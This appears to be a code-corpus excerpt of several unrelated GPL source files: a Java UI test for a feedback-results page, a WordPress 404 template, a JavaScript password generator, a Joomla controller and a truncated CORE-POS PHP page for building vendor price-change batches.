resultsPage.waitForInstructorPanelStudentPanelsToCollapse();
assertEquals("Expand Students", resultsPage.instructorPanelCollapseStudentsButton.getText());
resultsPage.verifySpecifiedPanelIdsAreCollapsed(new String[] { "0-2", "0-3", "0-4" });
resultsPage.clickGroupByTeam();
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.clickSectionCollapseStudentsButton();
resultsPage.waitForSectionStudentPanelsToCollapse();
resultsPage.displayByQuestion();
______TS("Typical case: panels expand/collapse");
assertEquals("Expand All Questions", resultsPage.collapseExpandButton.getText());
assertEquals("Expand all panels. You can also click on the panel heading to toggle each one individually.",
resultsPage.collapseExpandButton.getAttribute("data-original-title"));
resultsPage.verifyResultsHidden();
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
assertEquals("Collapse All Questions", resultsPage.collapseExpandButton.getText());
assertEquals("Collapse all panels. You can also click on the panel heading to toggle each one individually.",
resultsPage.collapseExpandButton.getAttribute("data-original-title"));
resultsPage.verifyResultsVisible();
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToCollapse();
assertEquals("Expand All Questions", resultsPage.collapseExpandButton.getText());
assertEquals("Expand all panels. You can also click on the panel heading to toggle each one individually.",
resultsPage.collapseExpandButton.getAttribute("data-original-title"));
resultsPage.verifyResultsHidden();
}
private void testShowStats() {
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
______TS("Typical case: show stats");
assertEquals(resultsPage.showStatsCheckbox.getAttribute("checked"), "true");
assertTrue(resultsPage.verifyAllStatsVisibility());
resultsPage.clickShowStats();
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
assertNull(resultsPage.showStatsCheckbox.getAttribute("checked"));
assertFalse(resultsPage.verifyAllStatsVisibility());
resultsPage.clickShowStats();
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
assertEquals(resultsPage.showStatsCheckbox.getAttribute("checked"), "true");
assertTrue(resultsPage.verifyAllStatsVisibility());
}
private void testRemindAllAction() {
______TS("Typical case: remind all: click on cancel");
resultsPage.clickRemindAllButtonAndWaitForFormToLoad();
resultsPage.cancelRemindAllForm();
______TS("Typical case: remind all: click on remind with no students selected");
resultsPage.clickRemindAllButtonAndWaitForFormToLoad();
resultsPage.deselectUsersInRemindAllForm();
resultsPage.clickRemindButtonInModal();
resultsPage.waitForAjaxLoaderGifToDisappear();
resultsPage.waitForTextsForAllStatusMessagesToUserEquals(
Const.StatusMessages.FEEDBACK_SESSION_REMINDERSEMPTYRECIPIENT);
______TS("Typical case: remind all: click on remind with students selected");
resultsPage.clickRemindAllButtonAndWaitForFormToLoad();
resultsPage.clickRemindButtonInModal();
resultsPage.waitForAjaxLoaderGifToDisappear();
resultsPage.waitForTextsForAllStatusMessagesToUserEquals(Const.StatusMessages.FEEDBACK_SESSION_REMINDERSSENT);
}
@Test
public void testIndicateMissingResponses() {
______TS("Typical case: Hide Missing Responses");
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
assertTrue(resultsPage.indicateMissingResponsesCheckbox.isSelected());
assertFalse(resultsPage.verifyMissingResponsesVisibility());
resultsPage.clickIndicateMissingResponses();
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
assertFalse(resultsPage.indicateMissingResponsesCheckbox.isSelected());
assertTrue(resultsPage.verifyMissingResponsesVisibility());
resultsPage.clickIndicateMissingResponses();
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
assertTrue(resultsPage.indicateMissingResponsesCheckbox.isSelected());
assertFalse(resultsPage.verifyMissingResponsesVisibility());
}
@Test
public void testLink() {
______TS("action: test that edit link leads to correct edit page");
InstructorFeedbackEditPage editPage = resultsPage.clickEditLink();
editPage.verifyContains("Edit Feedback Session");
assertEquals("CFResultsUiT.CS2104", editPage.getCourseId());
assertEquals("First Session", editPage.getFeedbackSessionName());
}
private void uploadPhotoForStudent(String googleId) throws Exception {
File picture = new File("src/test/resources/images/profile_pic_updated.png");
String pictureData = JsonUtils.toJson(FileHelper.readFileAsBytes(picture.getAbsolutePath()));
assertEquals("Unable to upload profile picture", "[BACKDOOR_STATUS_SUCCESS]",
BackDoor.uploadAndUpdateStudentProfilePicture(googleId, pictureData));
}
private InstructorFeedbackResultsPage loginToInstructorFeedbackResultsPage(String instructorName, String fsName) {
AppUrl resultsUrl = createUrl(Const.WebPageURIs.INSTRUCTOR_SESSION_RESULTS_PAGE)
.withUserId(testData.instructors.get(instructorName).googleId)
.withCourseId(testData.feedbackSessions.get(fsName).getCourseId())
.withSessionName(testData.feedbackSessions.get(fsName).getFeedbackSessionName());
return loginAdminToPageOld(resultsUrl, InstructorFeedbackResultsPage.class);
}
private InstructorFeedbackResultsPage
loginToInstructorFeedbackResultsPageWithViewType(String instructorName, String fsName,
boolean needAjax, String viewType) {
AppUrl resultsUrl = createUrl(Const.WebPageURIs.INSTRUCTOR_SESSION_RESULTS_PAGE)
.withUserId(testData.instructors.get(instructorName).googleId)
.withCourseId(testData.feedbackSessions.get(fsName).getCourseId())
.withSessionName(testData.feedbackSessions.get(fsName).getFeedbackSessionName());
if (needAjax) {
resultsUrl = resultsUrl.withParam(Const.ParamsNames.FEEDBACK_RESULTS_NEED_AJAX,
String.valueOf(needAjax));
}
if (viewType != null) {
resultsUrl = resultsUrl.withParam(Const.ParamsNames.FEEDBACK_RESULTS_SORTTYPE, viewType);
}
InstructorFeedbackResultsPage resultsPage =
loginAdminToPageOld(resultsUrl, InstructorFeedbackResultsPage.class);
if (needAjax) {
resultsPage.waitForPageStructureToLoad();
} else {
resultsPage.waitForPageToLoad();
}
return resultsPage;
}
private void verifySortingOrder(By sortIcon, String... values) {
// check if the rows match the given order of values
resultsPage.click(sortIcon);
StringBuilder searchString = new StringBuilder();
for (String value : values) {
searchString.append(value).append("{*}");
}
resultsPage.verifyContains(searchString.toString());
// click the sort icon again and check for the reverse order
resultsPage.click(sortIcon);
searchString.setLength(0);
for (int i = values.length; i > 0; i--) {
searchString.append(values[i - 1]).append("{*}");
}
resultsPage.verifyContains(searchString.toString());
}
private void verifyModerateResponsesButton(int qnNumber, String... emails) {
for (int i = 1; i <= emails.length; i++) {
resultsPage.verifyModerateResponseButtonBelongsTo(
resultsPage.getModerateResponseButtonInQuestionView(qnNumber, i), emails[i - 1]);
}
}
private void verifyQuestionAdditionalInfoCollapse(int qnNumber, String additionalInfoId) {
resultsPage.clickQuestionAdditionalInfoButton(qnNumber, additionalInfoId);
assertFalse(resultsPage.isQuestionAdditionalInfoVisible(qnNumber, additionalInfoId));
assertEquals("[more]", resultsPage.getQuestionAdditionalInfoButtonText(qnNumber, additionalInfoId));
}
private void verifyQuestionAdditionalInfoExpand(int qnNumber, String additionalInfoId) {
resultsPage.clickQuestionAdditionalInfoButton(qnNumber, additionalInfoId);
assertTrue(resultsPage.isQuestionAdditionalInfoVisible(qnNumber, additionalInfoId));
assertEquals("[less]", resultsPage.getQuestionAdditionalInfoButtonText(qnNumber, additionalInfoId));
}
}
| gpl-2.0 |
sguha-work/fiddletest | fiddles/Gauge/Background/Using-gradient-fill-in-charts-as-background_423/url.js | 187 | http://jsfiddle.net/fusioncharts/cjddY/
http://jsfiddle.net/gh/get/jquery/1.9.1/sguha-work/fiddletest/tree/master/fiddles/Gauge/Background/Using-gradient-fill-in-charts-as-background_423/ | gpl-2.0 |
Oleg-Sulzhenko/alpeadria | wp-content/themes/voyage-parent/404.php | 1061 | <?php get_header(); ?>
<?php $sidebar_position = tfuse_sidebar_position(); ?>
<div <?php tfuse_class('middle'); ?>>
<div class="container_12">
<?php if (!tfuse_options('disable_breadcrumbs')) tfuse_breadcrumbs(); ?>
<!-- content -->
<div <?php tfuse_class('content'); ?>>
<div class="post-detail">
<h1><?php _e('Page not found', 'tfuse') ?></h1>
<div class="entry">
<p><?php _e('The page you were looking for doesn’t seem to exist', 'tfuse') ?>.</p>
</div><!--/ .entry -->
<?php tfuse_comments(); ?>
</div><!--/ .post-item -->
</div><!--/ content -->
<?php if ($sidebar_position == 'left' || $sidebar_position == 'right') : ?>
<div class="sidebar">
<?php get_sidebar(); ?>
</div><!--/ .sidebar -->
<?php endif; ?>
<div class="clear"></div>
</div>
</div>
<!--/ middle -->
<?php tfuse_header_content('after_content'); ?>
<?php get_footer(); ?> | gpl-2.0 |
Automattic/wp-calypso | client/lib/generate-password/index.js | 1040 | // inspired from https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore#_random
const randomInt = ( lower, upper ) => Math.floor( lower + Math.random() * ( upper - lower + 1 ) );
// inspired from https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore#_sample
const sample = ( arr ) =>
arr.length ? arr[ Math.floor( Math.random() * arr.length ) ] : undefined;
const LETTER_CHARSETS = [
'abcdefghjkmnpqrstuvwxyz'.split( '' ),
'ABCDEFGHJKMNPQRSTUVWXYZ'.split( '' ),
];
const CHARSETS = [ ...LETTER_CHARSETS, '23456789'.split( '' ), '!@#$%^&*'.split( '' ) ];
export const generatePassword = function () {
const length = randomInt( 12, 35 );
const chars = Object.keys( CHARSETS ).map( ( charset ) => {
return sample( CHARSETS[ charset ] );
} );
for ( let i = 0; i < length; i++ ) {
if ( 0 === i % 4 ) {
chars.push( sample( sample( LETTER_CHARSETS ) ) );
} else {
// Get a random character from a random character set
chars.push( sample( sample( CHARSETS ) ) );
}
}
return chars.join( '' );
};
| gpl-2.0 |
knigherrant/decopatio | administrator/components/com_admintools/controllers/htmaker.php | 1837 | <?php
/**
* @package AdminTools
* @copyright Copyright (c)2010-2015 Nicholas K. Dionysopoulos
* @license GNU General Public License version 3, or later
* @version $Id$
*/
// Protect from unauthorized access
defined('_JEXEC') or die;
class AdmintoolsControllerHtmaker extends F0FController
{
public function __construct($config = array())
{
parent::__construct($config);
$this->modelName = 'htmaker';
}
public function execute($task)
{
if (!in_array($task, array('save', 'apply')))
{
$task = 'browse';
}
parent::execute($task);
}
public function save()
{
// CSRF prevention
$this->_csrfProtection();
/** @var AdmintoolsModelHtmaker $model */
$model = $this->getThisModel();
if (is_array($this->input))
{
$data = $this->input;
}
else
{
$data = $this->input->getData();
}
$model->saveConfiguration($data);
$this->setRedirect('index.php?option=com_admintools&view=htmaker', JText::_('ATOOLS_LBL_HTMAKER_SAVED'));
}
public function apply()
{
/** @var AdmintoolsModelHtmaker $model */
$model = $this->getThisModel();
if (is_array($this->input))
{
$data = $this->input;
}
else
{
$data = $this->input->getData();
}
$model->saveConfiguration($data);
$status = $model->writeHtaccess();
if (!$status)
{
$this->setRedirect('index.php?option=com_admintools&view=htmaker', JText::_('ATOOLS_LBL_HTMAKER_NOTAPPLIED'), 'error');
}
else
{
$this->setRedirect('index.php?option=com_admintools&view=htmaker', JText::_('ATOOLS_LBL_HTMAKER_APPLIED'));
}
}
protected function onBeforeBrowse()
{
return $this->checkACL('admintools.security');
}
protected function onBeforeSave()
{
return $this->checkACL('admintools.security');
}
protected function onBeforeApply()
{
return $this->checkACL('admintools.security');
}
}
| gpl-2.0 |
CORE-POS/IS4C | fannie/batches/UNFI/VPBPIV.php | 35991 | <?php
/*******************************************************************************
Copyright 2010 Whole Foods Co-op
This file is part of CORE-POS.
CORE-POS is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
CORE-POS is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
in the file license.txt along with IT CORE; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*********************************************************************************/
use \COREPOS\Fannie\API\item\Margin;
use \COREPOS\Fannie\API\item\PriceRounder;
include(dirname(__FILE__) . '/../../config.php');
if (!class_exists('FannieAPI')) {
include_once(__DIR__ . '/../../classlib2.0/FannieAPI.php');
}
class VPBPIV extends FannieRESTfulPage
{
protected $title = "Fannie - Create Price Change Batch";
protected $header = "Create Price Change Batch";
public $description = '[Vendor Price Change] creates a price change batch for a given
vendor and edits it based on catalog cost information.';
public $themed = true;
protected $auth_classes = array('batches');
protected $must_authenticate = true;
private $mode = 'start';
public function preprocess()
{
$this->__routes[] = 'post<cleanup>';
return parent::preprocess();
}
public function post_cleanup_handler()
{
$dbc = $this->connection;
$dbc->selectDB($this->config->OP_DB);
$bids = FormLib::get('bid');
$prepC = $dbc->prepare("SELECT COUNT(*) AS count
FROM batchList WHERE batchID = ?");
$prepD = $dbc->prepare("DELETE FROM batches
WHERE batchID = ?");
foreach ($bids as $bid) {
$resC = $dbc->execute($prepC, array($bid));
$rowC = $dbc->fetchRow($resC);
$count = $rowC['count'];
if ($count == 0) {
$resD = $dbc->execute($prepD, array($bid));
}
}
echo $dbc->error();
echo json_encode($bids);
return false;
}
public function css_content()
{
return <<<HTML
span.grey {
color: grey;
}
tr.green-green td.sub {
background:#ccffcc;
}
tr.green-red td.sub {
background:#ccffcc;
}
tr.greenb td.sub {
background:#ddffcc;
}
tr.red td.sub {
background:#F7BABA;
}
tr.white td.sub {
background:#ffffff;
}
th.thead, td.thead {
background: #fff4d6;
}
tr.yellow td.sub {
background:#ffff96;
}
span.yellow {
background:#ffff96;
}
span.red {
background:#F7BABA;
}
span.white {
background:#ffffff;
}
tr.selection td.sub {
background:#add8e6;
}
td.srp {
text-decoration: underline;
}
.adj-cost, .price, .cmargin {
border: 5px solid red;
background: red;
background-color: red;
color: gray;
}
.row-selected {
border: 5px solid plum;
}
.uniq-table, .uniq-table tr,
.uniq-table td {
border: 1px solid grey;
padding: 5px;
}
input {
border: none;
background-color: rgba(0,0,0,0);
}
label {
font-weight: bold;
font-size: 9px;
text-transform: uppercase;
color: grey;
}
button {
width: 100%;
}
span.highlight {
babkground-color: lightgreen;
background-color: rgba(0,255,0, 0.1);
color: green;
padding: 2px;
}
.row{
text-align: right;
}
#keypad {
//border: 1px solid black;
}
#keypad-table {
position: absolute;
}
td.border-cell {
border: 1px solid black;
height: 30px;
width: 30px;
font-size: 10px;
text-align: center;
user-select: none;
background: white;
}
td.border-cell {
border: 1px solid black;
height: 30px;
width: 30px;
font-size: 10px;
text-align: center;
cursor: pointer;
user-select: none;
background: white;
}
div.item-info-container {
position: relative;
}
div.label {
position: absolute;
left: 0px;
}
HTML;
}
public function get_id_view()
{
$table = $this->getTable();
$td = $table;
return <<<HTML
<div class="container" style=" user-select: none;">
<!--<label><u>Current Product</u></label>-->
<div class="row">
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>upc</label>
</div>
<span id="cur-upc" style="user-select: text"></span>
</div>
</div>
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>sku</label>
</div>
<span id="cur-sku" style="user-select: text"></span>
</div>
</div>
<div class="col-lg-3">
<div class="item-info-container">
<div class="label">
<label>brand</label>
</div>
<span id="cur-brand" style="width: 120px" ></span>
</div>
</div>
<div class="col-lg-4">
<div class="item-info-container">
<div class="label">
<label>description</label>
</div>
<u><span id="cur-description" style="width: 300px" ></span></u>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>base cost</label>
</div>
<span id="cur-base-cost"></span>
</div>
</div>
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>adj. cost</label>
</div>
<span id="cur-cost"></span>
</div>
</div>
<div class="col-lg-3">
<!--<button class="btn btn-default btn-sm" id="btn-up" onClick="btnChangeSelected('up'); return false; ">PREVIOUS (<i>up arrow</i>)</button>-->
<!--<button class="btn btn-default btn-sm" id="btn-down" onClick="btnChangeSelected('down'); return false; ">NEXT (<i>down arrow</i>)</button>-->
</div>
</div>
<div class="row">
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>margin</label>
</div>
<span id="cur-margin"></span>%
</div>
</div>
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>target margin</label>
</div>
<span id="cur-target-margin"></span>%
</div>
</div>
<div class="col-lg-3">
<div class="item-info-container">
<div class="label">
<label>off from target by</label>
</div>
<span id="cur-diff"></span>%
</div>
</div>
<div class="col-lg-5">
<!--<button class="btn btn-default btn-sm" id="btn-add-to-batch" onClick="btnRemoveFromBatch(); return false; ">REMOVE FROM BATCH (<i>left arrow</i>)</button>-->
<div id="keypad" align="right"><div style="width: 300px">
<table id="keypad-table">
<tr>
<td class="nobord-cell"> </td>
<td class="border-cell" onclick="btnChangeSelected('up'); return false; ">Up</td>
<td> </td></tr>
<tr>
<td class="border-cell" title="Remove From Batch" onclick="btnRemoveFromBatch(); btnChangeSelected('down'); return false; "> - </td>
<td class="border-cell" onclick="btnChangeSelected('down'); return false; ">Down</td>
<td class="border-cell" ><span id="btnAdd" onclick="btnAddToBatch(); btnChangeSelected('down'); return false; " title="Add To Batch"> + </span></td></tr>
<tr>
<td class="border-cell" colspan="3" onclick="btnEditPrice(); return false;" title="Edit Price">Change SRP</td></tr>
</table>
</div></div>
</div>
</div>
<div class="row">
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>last reviewed</label>
</div>
<span id="cur-reviewed"></span>
</div>
</div>
<div class="col-lg-2"></div>
<div class="col-lg-3">
<div class="item-info-container">
<div class="label">
<label>last change</label>
</div>
<span id="cur-change"></span>
</div>
</div>
<div class="col-lg-3">
<!--<button class="btn btn-default btn-sm" id="btn-edit-price" onClick="btnEditPrice(); return false; ">EDIT PRICE (<i>space</i>)</button>-->
</div>
</div>
<div class="row">
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>current price</label>
</div>
<span id="cur-normalprice"></span>
</div>
</div>
<div class="col-lg-2">
<div class="item-info-container">
<div class="label">
<label>raw/rnd</label>
</div>
<span id="cur-raw"></span> (<span id="cur-round"></span>)
</div>
</div>
<div class="col-lg-3">
<div class="item-info-container">
<div class="label">
<label>new batch srp</label>
</div>
<span id="cur-srp"></span>
<span id="cur-srp-visual"></span>
</div>
</div>
<div class="col-lg-3">
<!--<button class="btn btn-default btn-sm" id="btn-add-to-batch" onClick="btnAddToBatch(); return false; ">ADD TO BATCH (<i>right arrow</i>)</button>-->
</div>
</div>
<div class="row">
<div class="col-lg-3">
<div class="item-info-container">
<div class="label">
<label>price rule</label>
</div>
<span id="cur-pricerule"></span></span>
</div>
</div>
<div class="col-lg-3"></div>
<div class="col-lg-4"></div>
</div>
<div style="padding-top: 24px;">
<a href="#" onclick="postActionBatchCleanup();">Cleanup & View Batches</a>
</div>
</div>
<div class="container">
<div class="table-responsive" style="overflow-x: hidden;">
<table class="uniq-table table table-condensed small" id="uniq-table">$td</table>
</div>
</div>
HTML;
}
public function javascript_content()
{
return <<<JAVASCRIPT
var uniqTable = document.getElementById('uniq-table');
var currentRow = 2;
var currentPosition = 2;
var uniqTableRows = uniqTable.rows.length;
var uniqTop = 0;
var uniqBottom = 5;
var batchIdInc = $('#batchID0').val();
var batchIdRedux = $('#batchID1').val();
for (let i = 2; i < uniqTable.rows.length; i++) {
uniqTable.rows[i].style.display = '';
if (i > 6) {
uniqTable.rows[i].style.display = 'none';
}
if (i < uniqTableRows - 3) {
uniqTable.rows[i].insertCell(-1).innerHTML = (i-1) + ' / ' + (uniqTableRows - 5);
uniqTable.rows[i].style.background = 'white';
}
}
var changeSelectedRow = function(row) {
uniqTable.rows[row].style.border = '3px solid rebeccapurple';
let btnAdd = document.getElementById('btnAdd');
}
var deselectRow = function(row) {
uniqTable.rows[row].style.border = '';
}
changeSelectedRow(currentRow);
var btnChangeSelected = function(direction)
{
if (direction == 'up' && currentRow == 2) {
return false;
}
if (direction == 'down' && currentRow + 4 == uniqTableRows) {
return false;
}
deselectRow(currentRow);
if (direction == 'down') {
currentRow++;
if (uniqTable.rows[uniqTop].id != 'uniq-thead')
uniqTable.rows[uniqTop].style.display = 'none';
uniqTable.rows[uniqBottom].style.display = '';
if (uniqTable.rows[uniqTop+1] !== undefined)
uniqTop++;
if (uniqTable.rows[uniqBottom+1] !== undefined)
uniqBottom++;
} else if (direction == 'up') {
if (uniqTable.rows[uniqTop] !== undefined) {
}
currentRow--;
uniqTable.rows[uniqTop].style.display = '';
uniqTable.rows[uniqBottom].style.display = 'none';
if (uniqTable.rows[uniqTop-1] !== undefined)
uniqTop--;
if (uniqTable.rows[uniqBottom-1] !== undefined)
uniqBottom--;
}
changeSelectedRow(currentRow);
document.getElementById('cur-upc').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.upc;
document.getElementById('cur-sku').innerHTML = uniqTable.rows[currentRow].cells[1].innerHTML;
document.getElementById('cur-cost').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.cost;
document.getElementById('cur-margin').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.margin;
document.getElementById('cur-target-margin').innerHTML = Number(uniqTable.rows[currentRow].cells[0].dataset.target).toFixed(1);
document.getElementById('cur-diff').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.diff;
document.getElementById('cur-change').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.change;
document.getElementById('cur-description').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.description;
document.getElementById('cur-brand').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.brand;
document.getElementById('cur-reviewed').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.reviewed;
document.getElementById('cur-base-cost').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.basecost;
document.getElementById('cur-raw').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.raw;
document.getElementById('cur-round').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.round;
document.getElementById('cur-srp').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.srp;
document.getElementById('cur-srp-visual').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.srpvisual;
document.getElementById('cur-pricerule').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.pricerule;
document.getElementById('cur-normalprice').innerHTML = uniqTable.rows[currentRow].cells[0].dataset.normalprice;
}
var btnAddToBatch = function()
{
let upc = document.getElementById('cur-upc').innerHTML;
let price = document.getElementById('cur-normalprice').innerHTML;
let srp = document.getElementById('cur-srp').innerHTML;
srp = parseFloat(srp);
price = parseFloat(price);
let bid = (price > srp) ? batchIdRedux : batchIdInc ;
addToBatch(upc, bid, srp);
return false;
}
var btnRemoveFromBatch = function()
{
let upc = document.getElementById('cur-upc').innerHTML;
let price = document.getElementById('cur-normalprice').innerHTML;
let srp = document.getElementById('cur-srp').innerHTML;
let bid = (parseInt(price, 10) > parseInt(srp, 10)) ? batchIdRedux : batchIdInc ;
removeFromBatch(upc, bid);
return false;
}
var postActionBatchCleanup = function()
{
$.ajax({
type: 'post',
url: 'VPBPIV.php',
data: 'cleanup=1&bid[]='+batchIdInc+'&bid[]='+batchIdRedux,
success: function(r) {
window.location.href ='../newbatch/BatchListPage.php';
}
});
}
let btnEditPrice = function()
{
let input = document.getElementById('cur-srp');
let upc = document.getElementById('cur-upc').innerHTML;
input.contentEditable = true;
input.focus();
//var td = document.getElementById('id'+upc);
//let newValue = document.getElementById('cur-srp').innerHTML;
//td.setAttribute('data-srp', '123');
}
document.addEventListener('keydown', function(e) {
let key = e.keyCode;
switch(key) {
case 40:
btnChangeSelected('down');
break;
case 38:
btnChangeSelected('up');
break;
case 39:
btnAddToBatch();
btnChangeSelected('down');
break;
case 37:
btnRemoveFromBatch();
btnChangeSelected('down');
break;
case 32:
btnEditPrice();
break;
break;
}
});
// prevent window from scrolling on keydown
window.addEventListener("keydown", function(e) {
if(["Space","ArrowUp","ArrowDown","ArrowLeft","ArrowRight"].indexOf(e.code) > -1) {
e.preventDefault();
}
}, false)
$(window).load(function(){
btnChangeSelected('down');
btnChangeSelected('up');
});
$('tr.item').each(function(){
var dataElement = $(this).find('td.sub');
let srp = dataElement.attr('data-round');
let price = dataElement.attr('data-normalprice');
let calculated = dataElement.attr('data-srp');
if (parseFloat(srp) == parseFloat(price)) {
//$(this).hide();
//alert(srp+', '+price+', hide this row!');
$(this).css('background', 'tomato');
} else if (srp == calculated) {
$(this).css('background', '#76EE00');
}
});
JAVASCRIPT;
}
public function helpContent()
{
return parent::helpContent();
}
public function unitTest($phpunit)
{
$this->id = 1;
$phpunit->assertNotEquals(0, strlen($this->get_id_view()));
}
public function getTable()
{
$this->addScript('pricing-batch-II.js');
$dbc = $this->connection;
$dbc->selectDB($this->config->OP_DB);
$ret = '';
$superID = FormLib::get('super', -1);
$queueID = FormLib::get('queueID');
$vendorID = $this->id;
$filter = FormLib::get_form_value('filter') == 'Yes' ? True : False;
/* lookup vendor and superdept names to build a batch name */
$sname = "All";
if ($superID >= 0) {
$smodel = new SuperDeptNamesModel($dbc);
$smodel->superID($superID);
$smodel->load();
$sname = $smodel->super_name();
}
$vendor = new VendorsModel($dbc);
$vendor->vendorID($vendorID);
$vendor->load();
$batchName = $sname." ".$vendor->vendorName()." PC ".date('m/d/y');
$batchNames = array();
$batchNames[] = $sname." ".$vendor->vendorName()." PC ".date('m/d/y') . " INC.";
$batchNames[] = $sname." ".$vendor->vendorName()." PC ".date('m/d/y') . " REDUX.";
/* find a price change batch type */
$types = new BatchTypeModel($dbc);
$types->discType(0);
$bType = 0;
foreach ($types->find() as $obj) {
$bType = $obj->batchTypeID();
break;
}
/* get the ID of the current batches. Create it if needed. */
$batchIDs = array(0, 0);
foreach ($batchNames as $k => $bName) {
$bidQ = $dbc->prepare("
SELECT batchID
FROM batches
WHERE batchName=?
AND batchType=?
AND discounttype=0
ORDER BY batchID DESC");
//$bidR = $dbc->execute($bidQ,array($batchName,$bType));
$bidR = $dbc->execute($bidQ,array($bName,$bType));
list($owner) = explode(' ', $bName);
if ($dbc->numRows($bidR) == 0) {
$b = new BatchesModel($dbc);
$b->batchName($bName);
$b->startDate('1900-01-01');
$b->endDate('1900-01-01');
$b->batchType($bType);
$b->discountType(0);
$b->priority(0);
$b->owner($owner);
$batchIDs[$k] = $b->save();
$bu = new BatchUpdateModel($dbc);
$bu->batchID($batchIDs[$k]);
$bu->logUpdate($bu::UPDATE_CREATE);
if ($this->config->get('STORE_MODE') === 'HQ') {
StoreBatchMapModel::initBatch($batchIDs[$k]);
}
} else {
$bidW = $dbc->fetchRow($bidR);
$batchIDs[$k] = $bidW['batchID'];
}
}
// this wont exist anymore
//$ret = sprintf('<b>Batch</b>:
// <a href="%sbatches/newbatch/BatchManagementTool.php?startAt=%d">%s</a>',
// $this->config->URL,
// $batchID,
// $batchName);
$addHTML = '';
foreach ($batchIDs as $k => $id) {
$addHTML.= "<input type=hidden id=batchID$k value=$id /> ";
$addHTML.= sprintf("<input type=hidden id=vendorID value=%d />
<input type=hidden id=queueID value=%d />
<input type=hidden id=superID value=%d />",
$vendorID,$queueID,$superID);
$ret .= sprintf("<input type=hidden id=vendorID value=%d />
<input type=hidden id=batchID value=%d />
<input type=hidden id=queueID value=%d />
<input type=hidden id=superID value=%d />",
$vendorID,$id,$queueID,$superID);
}
$ret .= '<br/><b>View: </b>
<button class="btn btn-danger btn-xs btn-filter active" data-filter-type="red">Red</button>
| <button class="btn btn-warning btn-xs btn-filter active" data-filter-type="yellow">Yellow</button>
| <button class="btn btn-success btn-xs btn-filter active" data-filter-type="green-green">Green</button>
| <button class="btn btn-success btn-xs btn-filter active" data-filter-type="green-red">Green
<span style="text-shadow: -1px -1px 0 crimson, 1px -1px 0 crimson, -1px 1px 0 crimson, 1px 1px crimson;">Red</span></button>
| <button class="btn btn-default btn-xs btn-filter active" data-filter-type="white">White</button>
| <button class="btn btn-default btn-xs multi-filter active" data-filter-type="multiple">
<span class="glyphicon glyphicon-exclamation-sign" title="View only rows containing multiple SKUs"> </span>
</button>
| <input type="" class="date-field" id="reviewed" placeholder="Reviewed on" style="border: 1px solid lightgrey; border-radius: 3px;"/>
<br/><br/>';
$batchUPCs = array();
foreach ($batchIDs as $batchID) {
$batchList = new BatchListModel($dbc);
$batchList->batchID($batchID);
foreach ($batchList->find() as $obj) {
$batchUPCs[$obj->upc()] = true;
}
}
$costSQL = Margin::adjustedCostSQL('p.cost', 'b.discountRate', 'b.shippingMarkup');
$marginSQL = Margin::toMarginSQL($costSQL, 'p.normal_price');
$marginCase = '
CASE
WHEN g.margin IS NOT NULL AND g.margin <> 0 THEN g.margin
WHEN s.margin IS NOT NULL AND s.margin <> 0 THEN s.margin
ELSE d.margin
END';
$srpSQL = Margin::toPriceSQL($costSQL, $marginCase);
$aliasP = $dbc->prepare("
SELECT v.srp,
v.vendorDept,
a.multiplier
FROM VendorAliases AS a
INNER JOIN vendorItems AS v ON a.sku=v.sku AND a.vendorID=v.vendorID
WHERE a.upc=?");
$vidsStart = FormLib::get('forcedStart', false);
$vidsEnd = FormLib::get('forcedEnd', false);
$query = "SELECT p.upc,
p.description,
p.brand,
p.cost,
b.shippingMarkup,
b.discountRate,
p.normal_price,
" . Margin::toMarginSQL($costSQL, 'p.normal_price') . " AS current_margin,
" . Margin::toMarginSQL($costSQL, 'v.srp') . " AS desired_margin,
" . $costSQL . " AS adjusted_cost,
v.srp,
" . $srpSQL . " AS rawSRP,
v.vendorDept,
b.vendorName,
p.price_rule_id AS variable_pricing,
prt.priceRuleTypeID,
prt.description AS prtDesc,
" . $marginCase . " AS margin,
CASE WHEN a.sku IS NULL THEN 0 ELSE 1 END as alias,
CASE WHEN l.upc IS NULL THEN 0 ELSE 1 END AS likecoded,
c.difference,
c.date,
r.reviewed,
v.sku,
m.super_name AS superName
FROM products AS p
LEFT JOIN vendorItems AS v ON p.upc=v.upc AND p.default_vendor_id=v.vendorID
LEFT JOIN VendorAliases AS a ON p.upc=a.upc AND p.default_vendor_id=a.vendorID
